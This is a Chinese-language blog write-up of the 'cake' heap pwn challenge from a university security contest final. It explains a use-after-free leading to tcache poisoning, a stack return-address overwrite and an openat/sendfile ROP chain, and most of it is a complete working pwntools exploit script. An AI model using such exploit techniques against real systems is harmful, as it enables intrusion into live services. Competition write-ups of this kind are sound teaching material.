第九届浙江省大学生网络与信息安全竞赛 决赛 - cake

第九届浙江省大学生网络与信息安全竞赛 决赛 - cake

RocketDev

文件属性

属性 值
Arch amd64
RELRO Full
Canary on
NX on
PIE on
strip no
libc 2.35-0ubuntu3.15

seccomp rules

rule

解题思路

和初赛的堆题差不多,也是可以释放后释放或者读取,释放后写入需要稍微绕一下, 由于释放时没有清除指针,只是清除了 inuse 标志,因此可以把堆块拿回来后再释放。

legend

按照图示,就可以达成和初赛一样的 tcache poisoning 了。我这里选择的是打栈,先泄露 environ,然后找到 main 函数的栈帧后修改返回地址,最后退出就可以触发 ROP 了。 远程 main 函数栈帧到 environ 的距离和本地略有不同,需要稍微调整一下。

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from pwn import *
def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m'
EXE = './cake'
context.arch = 'amd64'
ARGS = { 'gdb_args': [
'-iex', 'set debug-file-directory /libraries/2.35-0ubuntu3.15_amd64/.debug',
'-iex', 'set directories /usr/src/debug/glibc-2.35'],
}

def payload(lo: int):
global t
if lo:
t = process(EXE)
if lo & 2:
gdb.attach(t, **ARGS)
else:
t = remote('10.1.100.141', 9999)
elf = ELF(EXE)
libc = elf.libc

def create(idx: int, size: int):
t.sendlineafter(b'choice', b'1')
t.sendlineafter(b'index', str(idx).encode())
t.sendlineafter(b'size', str(size).encode())

def change(idx: int, buf: bytes):
t.sendlineafter(b'choice', b'2')
t.sendlineafter(b'index', str(idx).encode())
t.sendlineafter(b'length', str(len(buf)).encode())
t.sendafter(b'data', buf)

def view(idx: int) -> bytes:
t.sendlineafter(b'choice', b'3')
t.sendlineafter(b'index', str(idx).encode())
t.recvuntil(b'data: ')
return t.recvuntil(b'\n1. create\n', drop=True)

def remove(idx: int):
t.sendlineafter(b'choice', b'4')
t.sendlineafter(b'index', str(idx).encode())

def leave():
t.sendlineafter(b'choice', b'5')

create(20, 0x40)
change(20, b'flag\0')
create(0, 0x420)
create(1, 0x28)
create(2, 0x28)
create(3, 0x28)
remove(0)
remove(1)
libc_base = u64(view(0)[:8]) - 0x21ace0
success(GOLD_TEXT(f'Leak libc_base: {libc_base:#x}'))
libc.address = libc_base
heap_base = u64(view(1)[:8]) << 12
success(GOLD_TEXT(f'Leak heap_base: {heap_base:#x}'))

remove(2)
remove(3)
create(4, 0x28) # take back chunk 3
create(5, 0x28) # take back chunk 2
create(6, 0x28) # take back chunk 1
# free 4, 5, 6 then
remove(3) # UAF on in-use chunks
remove(2)
remove(1)

def PROTECT_PTR(val: int, pos: int) -> int:
return val ^ (pos >> 12)

change(5, p64(PROTECT_PTR(libc.symbols['environ'], heap_base)))
create(7, 0x28)
create(8, 0x28) # take back chunk 5, next should be environ
create(9, 0x28)
environ = u64(view(9)[:8])
main_ret = (environ - (0x118 if not lo else 0x128)) & ~0xf
info(f'Prepare to write to {main_ret:#x}')

create(10, 0x400)
create(11, 0x400)
create(12, 0x400)
remove(10)
remove(11)
remove(12)
create(13, 0x400)
create(14, 0x400)
create(15, 0x400)
remove(10)
remove(11)
remove(12)

change(14, p64(PROTECT_PTR(main_ret, heap_base)))
create(16, 0x400)
create(17, 0x400) # take back chunk 14, next should be stack
create(18, 0x400)

gadgets = ROP(libc)
change(18, flat(
gadgets.ret.address,
gadgets.ret.address,
gadgets.ret.address,
gadgets.ret.address,
gadgets.ret.address,
# openat(AT_FDCWD, "flag", 0)
gadgets.rdi.address,
-100,
libc_base + 0x2a527, # add rsp, 8; ret
b'flag'.ljust(8, b'\0'),
gadgets.rsi.address,
heap_base + 0x2a0, # chunk 15, "flag"
gadgets.rdx.address,
0, 0,
libc.symbols['openat'],
# sendfile(1, 3, NULL, 0x50)
gadgets.rdi.address,
1,
gadgets.rsi.address,
3,
gadgets.rdx.address,
0, 0,
gadgets.rcx.address,
0x50,
libc.symbols['sendfile'],
# _exit(0)
gadgets.rdi.address,
0,
libc.symbols['_exit'],
))

leave()

t.recvuntil(b'DASCTF{')
flag = 'DASCTF{' + t.recvuntil(b'}').decode()
success(f'Flag is: {flag}')

t.close()

flag

  • 标题: 第九届浙江省大学生网络与信息安全竞赛 决赛 - cake
  • 作者: RocketDev
  • 创建于 : 2026-11-16 14:47:00
  • 更新于 : 2026-11-17 11:24:00
  • 链接: https://rocketma.dev/2026/11/16/cake.final/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
第九届浙江省大学生网络与信息安全竞赛 决赛 - cake